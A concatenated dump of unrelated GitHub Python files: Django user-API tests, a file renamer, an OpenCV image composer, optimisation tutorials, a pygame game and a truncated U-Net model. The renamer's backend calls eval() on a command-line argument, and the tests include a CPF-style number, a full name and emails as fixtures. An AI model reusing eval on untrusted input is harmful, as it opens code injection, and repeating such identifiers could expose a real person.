\"\",\n        'email': \"\",\n        'visao': \"DRE\",\n        'groups': [\n            grupo_1.id,\n            grupo_2.id\n        ]\n    }\n    response = jwt_authenticated_client_u.post(\n        \"/api/usuarios/\", data=json.dumps(payload), content_type='application/json')\n    result = response.json()\n    esperado = {\n        'username': '9876543',\n        'email': '',\n        'name': '',\n        'tipo_usuario': RepresentacaoCargo.SERVIDOR.name,\n        'groups': [grupo_1.id, grupo_2.id]\n    }\n    User = get_user_model()\n    u = User.objects.filter(username='9876543').first()\n\n    assert len(u.visoes.all()) > 0\n    assert response.status_code == status.HTTP_201_CREATED\n    assert result == esperado\n\n\ndef test_atualizar_usuario_servidor(\n        jwt_authenticated_client_u,\n        usuario_3,\n        usuario_2,\n        visao_ue,\n        visao_dre,\n        visao_sme,\n        grupo_1,\n        grupo_2):\n\n    assert not usuario_2.visoes.filter(nome='UE').first()\n\n    payload = {\n        'tipo_usuario': RepresentacaoCargo.SERVIDOR.name,\n        'username': usuario_2.username,\n        'name': usuario_2.name,\n        'email': 'novoEmail@gmail.com',\n        'visao': \"UE\",\n        'groups': [\n            grupo_1.id\n        ]\n    }\n\n    response = jwt_authenticated_client_u.put(\n        f\"/api/usuarios/{usuario_2.id}/\", data=json.dumps(payload), content_type='application/json')\n    result = response.json()\n\n    esperado = {\n        'username': usuario_2.username,\n        'email': 'novoEmail@gmail.com',\n        'name': usuario_2.name,\n        'tipo_usuario': RepresentacaoCargo.SERVIDOR.name,\n        'groups': [grupo_1.id]\n    }\n\n    assert usuario_2.visoes.filter(nome='UE').first()\n    assert result == esperado\n\n\ndef test_deletar_usuario_servidor(\n        jwt_authenticated_client_u,\n        usuario_3\n):\n\n    from django.contrib.auth import get_user_model\n\n    User = get_user_model()\n    assert User.objects.filter(id=usuario_3.id).exists()\n\n    response = jwt_authenticated_client_u.delete(\n        f\"/api/usuarios/{usuario_3.id}/\", content_type='application/json')\n    assert not User.objects.filter(id=usuario_3.id).exists()\n\n\ndef test_consulta_informacao_usuario(jwt_authenticated_client_u):\n    path = 'sme_ptrf_apps.users.api.views.user.SmeIntegracaoService.informacao_usuario_sgp'\n    with patch(path) as mock_get:\n        data = {\n            'cpf': '12808888813',\n            'nome': 'LUCIMARA CARDOSO RODRIGUES',\n            'codigoRf': '7210418',\n            'email': 'tutu@gmail.com',\n            'emailValido': True\n        }\n\n        mock_get.return_value = data\n\n        username = '7210418'\n        response = jwt_authenticated_client_u.get(f'/api/usuarios/consultar/?username={7210418}')\n        result = json.loads(response.content)\n        assert response.status_code == status.HTTP_200_OK\n        assert result == data\n\n\ndef test_consulta_informacao_usuario_sem_username(jwt_authenticated_client_u):\n    response = jwt_authenticated_client_u.get(f'/api/usuarios/consultar/?username=')\n    result = json.loads(response.content)\n    assert response.status_code == status.HTTP_400_BAD_REQUEST\n    assert result == \"Parâmetro username obrigatório.\"\n\n\ndef test_lista_usuarios_por_unidade(\n        jwt_authenticated_client_u,\n        usuario_para_teste,\n        usuario_2,\n        usuario_3,\n        associacao,\n        grupo_1,\n        grupo_2):\n\n    response = jwt_authenticated_client_u.get(f\"/api/usuarios/?associacao_uuid={associacao.uuid}\", content_type='application/json')\n    result = response.json()\n    esperado = [\n        {\n            'id': usuario_3.id,\n            'name': 'Arthur Marques',\n            'tipo_usuario': 'Servidor',\n            'url': 'http://testserver/api/esqueci-minha-senha/7218198/',\n            'username': '7218198',\n            'email': 'sme8198@amcom.com.br',\n            'groups': [\n                {\n                    'descricao': 'Descrição grupo 2',\n                    'id': grupo_2.id,\n                    'name': 'grupo2'\n                }],\n        },\n        {\n            'id': usuario_para_teste.id,\n            'name': 'LUCIA HELENA',\n            'tipo_usuario': 'Servidor',\n            'url': 'http://testserver/api/esqueci-minha-senha/7210418/',\n            'username': '7210418',\n            'email': 'luh@gmail.com',\n            'groups': [\n                {\n                    'descricao': 'Descrição grupo 1',\n                    'id': grupo_1.id,\n                    'name': 'grupo1'\n                }],\n        }\n\n    ]\n    print(result)\n    assert result == esperado\n","repo_name":"ollyvergithub/SME-PTRF-BackEnd","sub_path":"sme_ptrf_apps/users/tests/test_api_user/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":14682,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11644009512","text":"import os\nimport sys\nimport json\n\nos_folder = os\ndefault_name = ''\n\n\ndef rename_files(folder_path, extension, new_name):\n    os_folder.chdir(folder_path)\n    count = 1\n    success = False\n    for file in os_folder.listdir():\n        file_name, file_extension = os_folder.path.splitext(file)\n        if file_extension == extension:\n            name_to_give = new_name + str(count) + file_extension\n            os_folder.rename(file, name_to_give)\n            count = int(count) + 1\n            success = True\n    return success\n\ndef delete_files(folder_path, extension):\n    os_folder.chdir(folder_path)\n    success = False\n    for file in os_folder.listdir():\n        file_name, file_extension = os_folder.path.splitext(file)\n        if file_extension == extension:\n            os_folder.remove(file)\n            success = True\n    return success\n\nif __name__ == \"__main__\":\n    raw_data = sys.argv[1]\n    data = eval(raw_data)\n\n    # initialize variables\n    folder = data['folder']\n    action = data['action']\n    extension = data['extension']\n    name = data['name']\n    # folder = folder[2:]\n\n    # rename files\n    if action == 'rename':\n        rename = rename_files(folder, extension, name)\n        if rename:\n            message = {'message': 'success'}\n            print(json.dumps(message))\n\n    # delete files\n    elif action == 'delete':\n        delete = delete_files(folder, extension)\n        message = {'message': 'success'}\n        print(json.dumps(message))\n\n\n","repo_name":"arhinfulemmanuel/file-renamer","sub_path":"Backend/backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22606612058","text":"# -*- coding: utf-8 -*-\n\nimport cv2\n\nfrom os.path import basename\n\nfrom ..common.configuration import (\n    PCT_FIT_BUFFER,\n    PCT_HACK_WINDOW_DELAY,\n)\nfrom ..datamanagement.files import (\n    get_edited_image_filepath,\n)\nfrom .imageprocessing import (\n    crop_image,\n    resize_image_width,\n    rotate_image,\n    compose_images,\n    find_dominant_contours,\n    collected_extrema,\n)\n\nclass PctComposerResponse:\n\n    def get_response(self):\n        return self._response\n    \n    def get_messages(self):\n        return self._messages\n    \n    def get_warnings(self):\n        return self._warnings\n    \n    #\n    # Private\n    #\n    \n    def __init__(self, response, messages=[], warnings=[]):\n        self._response = response\n        self._messages = messages\n        self._warnings = warnings\n\nclass BaseComposerError(Exception):\n    pass\n\nclass BaseComposer:\n    def __init__(self, message_writer=None, debug_writer=None):\n        self._debug = False\n        self._message_writer = message_writer\n        self._debug_writer = debug_writer\n    \n    def _log(self, msg):\n        if self._message_writer:\n            self._message_writer.write(msg)\n        \n    def _log_debug(self, msg):\n        if self._debug_writer and self._debug:\n            self._debug_writer.write(msg)\n\nclass PctComposerError(BaseComposerError):\n    pass\n\nclass PctComposer(BaseComposer):\n    \n    def prepare(self, debug=False):\n        self._debug = debug\n        self._log_debug('Preparing images...')\n        for image_composer in self._get_composers():\n            image_composer.prepare(debug)\n        self._log_debug('Image preparation complete.')\n    \n    def compose(self, debug=False):\n        self._debug = debug\n        self._log_debug('Composing image...')\n        if not self._create_composition():\n            self._log('No composition could be created.')\n            return False\n        return True\n    \n    def refresh_previews(self, width, startx=0, starty=0, margin=0,\n                         debug=False):\n        self._debug = debug\n        self._log_debug('Refreshing previews...')\n        x = startx\n        y = starty\n        for composer in self._get_composers():\n            composer.refresh_preview(x, y, width, debug)\n            x += width + margin\n\n    def refresh_composition(self, width, startx=0, starty=0, debug=False):\n        self._debug = debug\n        self._log_debug('Refreshing composition...')\n        return self._refresh_composition(width, startx, starty)\n\n    def reindex_image(self, index_in, index_out, debug=False):\n        self._debug = debug\n        self._log_debug('Swapping images {} and {}'.format(index_in, index_out))\n        if self._check_index(index_in) and self._check_index(index_out):\n            return self._reindex_image(index_in, index_out)\n        return False\n    \n    def check_index(self, index, debug=False):\n        self._debug = debug\n        self._log_debug('Checking index {}'.format(index))\n        return self._check_index(index)\n    \n    def fit(self, index, strength, debug=False):\n        self._debug = debug\n        self._log_debug('Fitting image {} at {}'.format(index, strength))\n        if not self._check_index(index):\n            self._log('Invalid index.')\n            return False\n        return self._get_composer(index).fit(strength, debug)\n    \n    def fit_all(self, strength, debug=False):\n        self._debug = debug\n        self._log_debug('Fitting images at {}'.format(strength))\n        return self._fit_all(strength)\n    \n    def rotate(self, index, angle, debug=False):\n        self._debug = debug\n        self._log_debug('Rotating image {} by {}'.format(index, angle))\n        if not self._check_index(index):\n            self._log('Invalid index.')\n            return False\n        return self._get_composer(index).rotate(angle, debug)\n             \n    def save(self, filepath, metafile=None, debug=False):\n        self._debug = debug\n        self._log_debug('Saving {}'.format(filepath))\n        \n        # Composed\n        if not self._save_composed(filepath):\n            self._log('Unable to save {}'.format(filepath))\n            return False\n        \n        # Edited\n        image_files = self._save_changed_images()\n        if not image_files:\n            self._log('Unable to save edited image files')\n            return False\n        \n        # Metadata\n        if metafile is not None:\n            if not self._save_metadata(metafile, image_files, filepath):\n                self._log('Unable to save {}'.format(metafile))\n                return False\n            \n        return True\n    \n    def undo(self, index, debug=False):\n        self._debug = debug\n        self._log_debug('Undoing action on image {}.'.format(index))\n        if not self._check_index(index):\n            self._log('Invalid index.')\n            return False\n        return self._get_composer(index).undo(debug)\n    \n    def redo(self, index, debug=False):\n        self._debug = debug\n        self._log_debug('Redoing action on image {}.'.format(index))\n        if not self._check_index(index):\n            self._log('Invalid index.')\n            return False\n        return self._get_composer(index).redo(debug)\n    \n    def cleanup(self, debug=False):\n        self._debug = debug\n        self._log_debug('Cleaning up composer...')\n        return self._cleanup()\n    \n    #\n    # Private\n    #\n    \n    def __init__(self, image_files, message_writer=None, debug_writer=None):\n        super(PctComposer, self).__init__(message_writer, debug_writer)\n        self._init_image_composers(image_files)\n        \n        self._composition = None\n        self._window = None\n\n    def _init_image_composers(self, image_files):\n        self._indexed_images = {}\n        self._image_composers = {}\n        for index, image in enumerate(image_files):\n            self._indexed_images[index] = image\n            self._image_composers[image] =  ImgComposer(\n                image,\n                self._message_writer,\n                self._debug_writer,\n            )\n        return self._image_composers\n\n    def _init_window(self, name=None):\n        self._destroy_window()\n        if name is not None:\n            self._window = name\n        else:\n            self._window = ' + '.join(\n                [c.get_window() for c in self._get_composers()]\n            )\n        cv2.namedWindow(self._window)\n    \n    def _destroy_window(self):\n        if self._window is not None:\n            cv2.destroyWindow(self._window)\n        self._window = None\n\n    def _check_index(self, index):\n        if index in self._indexed_images:\n            return True\n        return False\n\n    def _get_composer(self, index):\n        return self._image_composers[self._indexed_images[index]]\n        \n    def _get_composers(self, ordered=True):\n        indices = list(self._indexed_images.keys())\n        if ordered:\n            indices.sort()\n        composers = []\n        for index in indices:\n            composers.append(\n                self._image_composers[self._indexed_images[index]]\n            )\n        return composers\n    \n    def _reindex_image(self, index_in, index_out):\n        temp = self._indexed_images[index_in]\n        self._indexed_images[index_in] = self._indexed_images[index_out]\n        self._indexed_images[index_out] = temp\n        return True\n    \n    def _create_composition(self):\n        images = [c.get_image() for c in self._get_composers()]\n        min_height = min([img.shape[0] for img in images])\n        self._composition = compose_images(images, min_height)\n        return True\n    \n    def _refresh_composition(self, width, x=0, y=0):\n        self._init_window()\n        preview = resize_image_width(self._composition, width)\n        self._show_image(preview, x, y)\n    \n    def _show_image(self, image, x=None, y=None):\n        cv2.imshow(self._window, image)\n        if x is not None and y is not None:\n            cv2.moveWindow(self._window, x, y)\n        cv2.waitKey(PCT_HACK_WINDOW_DELAY)\n    \n    def _save_changed_images(self):\n        filepaths = []\n        for composer in self._get_composers():\n            filepaths.append(composer.save(self._debug))\n        return filepaths\n    \n    def _save_composed(self, filepath):\n        cv2.imwrite(filepath, self._composition)\n        return True\n    \n    def _save_metadata(self, filepath, image_files, composed_file):\n        fp = open(filepath, 'w')\n        fp.write(composed_file + '\\n')\n        for f in image_files:\n            fp.write(f + '\\n')\n        fp.close()\n        return True\n    \n    def _fit_all(self, strength):\n        for c in self._get_composers():\n            if not c.fit(strength, self._debug):\n                return False\n        return True\n    \n    def _cleanup(self):\n        # Cleans up all of the preview images\n        for c in self._get_composers():\n            if not c.cleanup(self._debug):\n                return False\n            \n        # Cleans up any composed image\n        self._destroy_window()\n        \n        return True\n    \nclass ImgComposerError(BaseComposerError):\n    pass\n\nclass ImgComposer(BaseComposer):\n    \n    def prepare(self, debug=False):\n        self._debug = debug\n        self._log('Preparing {}'.format(self._image_file))\n        self._prepare_image()\n        self._prepare_window()\n    \n    def refresh_preview(self, x, y, width, debug=False):\n        self._debug = debug\n        preview = resize_image_width(self._current_image(), width)\n        self._show_image(preview, x, y)\n    \n    def get_image(self):\n        return self._current_image().copy()\n    \n    def get_window(self):\n        return self._window\n    \n    def fit(self, strength, debug=False):\n        self._debug = debug\n        self._log_debug('Fitting {}'.format(self._image_file))\n        if self._fit(strength):\n            self._init_redo_images()\n            return True\n        return False\n    \n    def rotate(self, angle, debug=False):\n        self._debug = debug\n        self._log_debug('Rotating {}'.format(self._image_file))\n        if self._rotate(angle):\n            self._init_redo_images()\n            return True\n        return False\n        \n    def save(self, debug=False):\n        self._debug = debug\n        self._log_debug('Saving edited {}'.format(self._image_file))\n        filepath = self._get_save_filepath()\n        if self._save(filepath):\n            return filepath\n        return None\n    \n    def undo(self, debug=False):\n        self._debug = debug\n        self._log_debug('Undoing action on {}'.format(self._image_file))\n        return self._undo()\n    \n    def redo(self, debug=False):\n        self._debug = debug\n        self._log_debug('Redoing action on {}'.format(self._image_file))\n        return self._redo()\n            \n    def cleanup(self, debug=False):\n        self._debug = debug\n        self._log_debug('Cleaning up image composer')\n        return self._cleanup()\n    \n    #\n    # Private\n    #\n    \n    def __init__(self, image_file, message_writer=None, debug_writer=None):\n        super(ImgComposer, self).__init__(message_writer, debug_writer)\n        self._init_images()\n        self._init_redo_images()\n        \n        self._image_file = image_file\n        self._window = None\n    \n    def _init_images(self):\n        self._images = []\n    \n    def _init_redo_images(self):\n        self._redo_images = []\n        \n    def _add_image(self, image):\n        self._images.append(image)\n    \n    def _add_redo_image(self, image):\n        self._redo_images.append(image)\n    \n    def _current_image(self):\n        if len(self._images) < 1:\n            return None\n        return self._images[-1]\n    \n    def _pop_image(self):\n        if len(self._images) < 2:\n            return None\n        return self._images.pop()\n    \n    def _pop_redo_image(self):\n        if len(self._redo_images) < 1:\n            return None\n        return self._redo_images.pop()\n    \n    def _prepare_image(self):\n        self._log_debug('Preparing image {}'.format(self._image_file))\n        self._add_image(cv2.imread(self._image_file))\n        \n    def _prepare_window(self):\n        self._log_debug('Preparing window for {}'.format(self._image_file))\n        self._window = basename(self._image_file)\n        cv2.namedWindow(self._window)\n    \n    def _destroy_window(self):\n        if self._window is not None:\n            cv2.destroyWindow(self._window)\n        self._window = None\n        \n    def _show_image(self, image=None, x=None, y=None):\n        self._log_debug('Showing image {}'.format(self._image_file))\n        if image is None:\n            cv2.imshow(self._window, self._current_image())\n        else:\n            cv2.imshow(self._window, image)\n        if x is not None and y is not None:\n            cv2.moveWindow(self._window, x, y)\n        cv2.waitKey(PCT_HACK_WINDOW_DELAY)\n\n    def _get_save_filepath(self):\n        return get_edited_image_filepath(self._image_file)\n    \n    def _fit(self, strength):\n        contours = find_dominant_contours(self._current_image(), strength)\n        if contours is None:\n            return False\n        left, right, top, bottom = collected_extrema(contours)\n        fitted = crop_image(\n            self._current_image(),\n            left,\n            right,\n            top,\n            bottom,\n            PCT_FIT_BUFFER,\n        )\n        if fitted is None:\n            return False\n        self._add_image(fitted)\n        return True\n    \n    def _rotate(self, angle):\n        rotated = rotate_image(self._current_image(), angle)\n        self._add_image(rotated)\n        return True\n\n    def _save(self, filepath=None):\n        cv2.imwrite(filepath, self._current_image())\n        return True\n    \n    def _undo(self):\n        image = self._pop_image()\n        if image is not None:\n            self._add_redo_image(image)\n            return True\n        return False\n    \n    def _redo(self):\n        image = self._pop_redo_image()\n        if image is not None:\n            self._add_image(image)\n            return True\n        return False\n\n    def _cleanup(self):\n        self._destroy_window()\n        return True","repo_name":"jasonbriceno/pct","sub_path":"pct/composer/composer.py","file_name":"composer.py","file_ext":"py","file_size_in_byte":14077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18727172157","text":"a = False\nb = True\nif(a):\n    print(\"A is True\")  # indentation is important in python\n    if(b):\n        print(\"B is also true\")\nelif(9 > 8):\n    user = input(\"Enter the message\")\n    print(user)\nif(True and True):\n    print(\"True\")\n","repo_name":"Ramlala-Yadav-Git/Python","sub_path":"ch9/ifStatement.py","file_name":"ifStatement.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"34822432081","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 28 09:57:35 2019\n\n@author: Kenton\n\"\"\"\n\nfrom gurobipy import *\n\nfrom .Diet import *\n\ndef farmer_jones():\n    # model\n    m = Model('Farmer Jones')\n\n    # variables\n    x_ch = m.addVar()\n    x_pl = m.addVar()\n\n    # objective\n    m.setObjective(4*x_ch + 2*x_pl, GRB.MAXIMIZE)\n\n    # constraints\n    m.addConstr(20*x_ch + 50*x_pl <= 480) # time\n    m.addConstr(4*x_ch + x_pl <= 30) # eggs\n    m.addConstr(0.26*x_ch + 0.2*x_pl <= 5) # milk\n\n    m.optimize()\n\n    print(x_ch.x, x_pl.x)\n\ndef farmer_jones_2():\n    C = ['chocolate', 'plain']\n    I = ['time', 'eggs', 'milk']\n\n    revenue = [4, 2]\n    usage = [[20, 50],\n             [4, 1],\n             [0.25, 0.2]]\n    available = [480, 30, 5]\n\n    m = Model('Farmer Jones')\n\n    X = [m.addVar() for _ in C]\n\n    m.setObjective(quicksum(revenue[c]*X[c] for c in range(len(C))),\n                            GRB.MAXIMIZE)\n\n    for i in range(len(I)):\n        m.addConstr(quicksum(usage[i][c]*X[c] for c in range(len(C))) <= available[i])\n\n    m.optimize()\n\n    for x in X:\n        print(x.x)\n\ndef stigler():\n    m = Model('Stigler Diet')\n\n    X = [m.addVar() for f in F]\n\n    for n in N:\n        m.addConstr(DMIN[n] <= quicksum(NV[f][n]*X[f] for f in F))\n        m.addConstr(quicksum(NV[f][n]*X[f] for f in F) <= DMAX[n])\n\n    m.setObjective(quicksum(C[f]*X[f] for f in F), GRB.MINIMIZE)\n\n    m.optimize()\n\n    print('\\n'.join([Food[i] + ': ' + str(x.x) for i, x in enumerate(X)]))\n\nif __name__ == \"__main__\":\n    farmer_jones()\n\n","repo_name":"katrinafyi/math3202","sub_path":"tutorials/tutorial_1.py","file_name":"tutorial_1.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"73963701449","text":"\"\"\"\nPROBLEMA #3:\nThe prime factors of 13195 are 5, 7, 13 and 29.\nWhat is the largest prime factor of the number 600851475143 ?\n\"\"\"\n\n\ndef own_dividers(number):\n    dividers = []\n    divider = 1\n    while divider < number:\n        if (number % divider) == 0:\n            dividers.append(divider)\n        divider += 1\n    return dividers\n\n\ndef prime_factor(number):\n    sum_result = 0\n    for dividers in own_dividers(number):\n        sum_result += dividers\n    if sum_result == 1:\n        return True\n    else:\n        return False\n\n\nn = 600851475143\nlist_of_prime_factors = []\nfor num in own_dividers(n):\n    if prime_factor(num):\n        list_of_prime_factors.append(num)\n\nprint(f'The prime factors of {n} are: \\n {list_of_prime_factors}')\n","repo_name":"Edesalher/PyCharm","sub_path":"ChallengeProblems/ChallengeProblem3.py","file_name":"ChallengeProblem3.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71047072967","text":"#importing modules\r\nimport pygame\r\nimport sys\r\nimport random\r\nimport time\r\nfrom pygame import mixer\r\nfrom pygame.locals import *\r\n\r\n#initializing pygame\r\npygame.init()\r\n\r\n#resolution of the screen\r\nWIDTH=800\r\nHEIGHT=600\r\nscreen=pygame.display.set_mode((WIDTH,HEIGHT))\r\n\r\n#caption and icon\r\npygame.display.set_caption(\"Space Rocket\")\r\nicon=pygame.image.load(\"Images\\\\icon.png\")\r\npygame.display.set_icon(icon)\r\n\r\n#player\r\nplayer_image=pygame.image.load(\"Images\\\\rocket.png\")\r\nplayer_size=30\r\nplayer_pos=[int(WIDTH/2),int(HEIGHT-3*player_size)]\r\n\r\n#enemy\r\nenemy_image=pygame.image.load(\"Images\\\\asteroid.png\")\r\nenemy_size = 50\r\nenemy_pos = [random.randint(0,WIDTH-enemy_size),random.randint(0,HEIGHT)]\r\nenemy_list=[enemy_pos]\r\nenemy_speed=0\r\n\r\n#background image\r\nbackground = pygame.image.load(\"Images\\\\background.png\")\r\n\r\n#background sound\r\nmixer.music.load(\"Sounds\\\\background.ogg\")\r\nmixer.music.play(-1)\r\n\r\n#basic\r\nscore=0\r\ngame_over=False\r\nclock=pygame.time.Clock()\r\n\r\n#fonts\r\nmyFont=pygame.font.SysFont(\"calibri\",35, bold=True, italic=True)\r\ngame_over_font=pygame.font.Font(\"Fonts\\\\font.otf\",60,italic=True)\r\n\r\ndef speed(score, enemy_speed):\r\n    if score<10:\r\n        enemy_speed=5\r\n    elif score<20:\r\n        enemy_speed=6\r\n    elif score<30:\r\n        enemy_speed=9\r\n    elif score<50:\r\n        enemy_speed=13\r\n    elif score<65:\r\n        enemy_speed=16\r\n    else:\r\n        enemy_speed=20\r\n    return enemy_speed\r\ndef drop_enemies(enemy_list):\r\n    delay = random.random()\r\n    if len(enemy_list)<8 and delay<0.06:\r\n        x_pos=random.randint(0,WIDTH-enemy_size)\r\n        y_pos=0\r\n        enemy_list.append([x_pos,y_pos])\r\ndef draw_enemies(enemy_list):\r\n    for enemy_pos in enemy_list:\r\n        screen.blit(enemy_image,(enemy_pos[0],enemy_pos[1]))\r\ndef new_enemy_pos(enemy_list, score):\r\n    for idx, enemy_pos in enumerate(enemy_list):\r\n        if enemy_pos[1]>=0 and enemy_pos[1]<HEIGHT:\r\n            enemy_pos[1]+=enemy_speed\r\n        else:\r\n            enemy_list.pop(idx)\r\n            score+=1\r\n    return score\r\ndef multiple_collision(enemy_list, player_pos):\r\n    for enemy_pos in enemy_list:\r\n        if collision(player_pos, enemy_pos):\r\n            return True\r\n    return False\r\ndef collision(player_pos, enemy_pos):\r\n    p_x=player_pos[0]\r\n    p_y=player_pos[1]\r\n    e_x=enemy_pos[0]\r\n    e_y=enemy_pos[1]\r\n    if (e_x>=p_x and e_x<(p_x+player_size)) or (p_x>=e_x and p_x<(e_x+enemy_size)):\r\n        if(e_y>=p_y and e_y<(p_y+player_size)) or (p_y>=e_y and p_y<(e_y+enemy_size)):\r\n            explosion=mixer.Sound(\"Sounds\\\\explosion.wav\")\r\n            mixer.music.stop()\r\n            explosion.play()\r\n            return True\r\n    return False\r\n\r\ndef gameover(game_over, score):\r\n    screen.blit(background,(0,0))\r\n    text=\" Game Over !\"\r\n    label=game_over_font.render(text, 1, (255, 153, 102))\r\n    screen.blit(label,(int(WIDTH/2)-150,int(HEIGHT/2)-30))\r\n    text=\"Your Score: \"+str(score)\r\n    label=game_over_font.render(text, 1, (255, 153, 102))\r\n    screen.blit(label,(int(WIDTH/2)-150,int(HEIGHT/2)+20))\r\n\r\nrunning = True\r\nwhile(running == True):\r\n    if game_over==False:\r\n        for event in pygame.event.get():\r\n            if event.type==pygame.QUIT:\r\n                sys.exit()\r\n            if event.type==pygame.KEYDOWN:\r\n                x=player_pos[0]\r\n                y=player_pos[1]\r\n                if event.key==pygame.K_LEFT:\r\n                \tif (x>0):\r\n                \t\tx-=player_size+10\r\n                elif event.key==pygame.K_RIGHT:\r\n                \tif(x<700):\r\n                \t\tx+=player_size+10\r\n                elif event.key==pygame.K_UP:\r\n                \tif(y>30):\r\n                \t\ty-=player_size+10\r\n                elif event.key==pygame.K_DOWN:\r\n                \tif(y<500):\r\n                \t\ty+=player_size+10\r\n                player_pos=[x,y]\r\n        screen.blit(background,(0,0))\r\n        game_over=collision(player_pos,enemy_pos)\r\n        drop_enemies(enemy_list)\r\n        score=new_enemy_pos(enemy_list, score)\r\n        enemy_speed=speed(score, enemy_speed)\r\n        text=\"Your Score: \"+str(score)\r\n        label=myFont.render(text, 1, (204, 255, 51))\r\n        screen.blit(label,(int(WIDTH-250),0))\r\n        game_over=multiple_collision(enemy_list,player_pos)\r\n        draw_enemies(enemy_list)\r\n        screen.blit(player_image,(player_pos[0],player_pos[1]))\r\n        clock.tick(30)\r\n        pygame.display.update()\r\n    elif game_over==True:\r\n        gameover(game_over, score)\r\n        pygame.display.update()\r\n        for event in pygame.event.get():\r\n            if event.type==pygame.QUIT:\r\n                running = False\r\n                pygame.display.quit()\r\n                pygame.quit()\r\n                sys.exit()\r\n\r\n    pygame.display.update()\r\n","repo_name":"DebRC/Space-Rocket","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4727,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"40094065428","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 14 15:50:27 2019\n@author: matthew\n\nThese functions create the model and all of the custom model metrics we use.\nHeavy use of tensorflow and keras.\n\"\"\"\n\nimport data\n#import max_subarray_tf\nimport tensorflow.keras.models as models\nimport tensorflow.keras.layers as layers\nimport tensorflow.keras.optimizers as kOpt\nfrom tensorflow.keras import backend as keras\nimport tensorflow as tf\n#import tensorflow_probability as tfp\n\n#define a few parameters\nbase_n=5\np=16\n#this function is just shorthand for the base-2 exponential function\ndef f(x):\n    return 2**x\n\ndef unet(pretrained_weights = None,input_shape = (224,224,1)):\n    #see ronnenberger for architecture description\n    \n    inputs = layers.Input(input_shape,name='image_input')\n    conv1 = layers.Conv2D(f(base_n), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(inputs)\n    conv1 = layers.Conv2D(f(base_n), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv1)\n    pool1 = layers.MaxPooling2D(pool_size=(2, 2))(conv1)\n    #pool1= BatchNormalization(axis=3)(pool1)\n    \n    conv2 = layers.Conv2D(f(base_n+1), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool1)\n    #conv2= BatchNormalization(axis=3)(conv2)\n    conv2 = layers.Conv2D(f(base_n+1), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv2)\n    pool2 = layers.MaxPooling2D(pool_size=(2, 2))(conv2)\n    #pool2= BatchNormalization(axis=3)(pool2)\n    \n    conv3 = layers.Conv2D(f(base_n+2), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool2)\n    #conv3= BatchNormalization(axis=3)(conv3)\n    conv3 = layers.Conv2D(f(base_n+2), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv3)\n    pool3 = layers.MaxPooling2D(pool_size=(2, 2))(conv3)\n    #pool3= BatchNormalization(axis=3)(pool3)\n    \n    conv4 = layers.Conv2D(f(base_n+3), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool3)\n    #conv4= BatchNormalization(axis=3)(conv4)\n    conv4 = layers.Conv2D(f(base_n+3), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv4)\n    drop4 = layers.Dropout(0.5)(conv4)\n    pool4 = layers.MaxPooling2D(pool_size=(2, 2))(drop4)\n    #pool4= BatchNormalization(axis=3)(pool4)\n    \n    conv5 = layers.Conv2D(f(base_n+4), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool4)\n    conv5 = layers.Conv2D(f(base_n+4), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv5)\n    drop5 = layers.Dropout(0.5)(conv5)\n    \n    up6 = layers.Conv2D(f(base_n+3), 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(layers.UpSampling2D(size = (2,2))(drop5))\n    merge6 = layers.concatenate([drop4,up6], axis = 3)\n    conv6 = layers.Conv2D(f(base_n+3), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge6)\n    conv6 = layers.Conv2D(f(base_n+3), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv6)\n    \n    up7 = layers.Conv2D(f(base_n+2), 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(layers.UpSampling2D(size = (2,2))(conv6))\n    merge7 = layers.concatenate([conv3,up7], axis = 3)\n    conv7 = layers.Conv2D(f(base_n+2), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge7)\n    conv7 = layers.Conv2D(f(base_n+2), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv7)\n    \n    up8 = layers.Conv2D(f(base_n+1), 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(layers.UpSampling2D(size = (2,2))(conv7))\n    merge8 = layers.concatenate([conv2,up8], axis = 3)\n    conv8 = layers.Conv2D(f(base_n+1), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge8)\n    conv8 = layers.Conv2D(f(base_n+1), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv8)\n    \n    up9 = layers.Conv2D(f(base_n), 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(layers.UpSampling2D(size = (2,2))(conv8))\n    merge9 = layers.concatenate([conv1,up9], axis = 3)\n    conv9 = layers.Conv2D(f(base_n), 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge9)\n    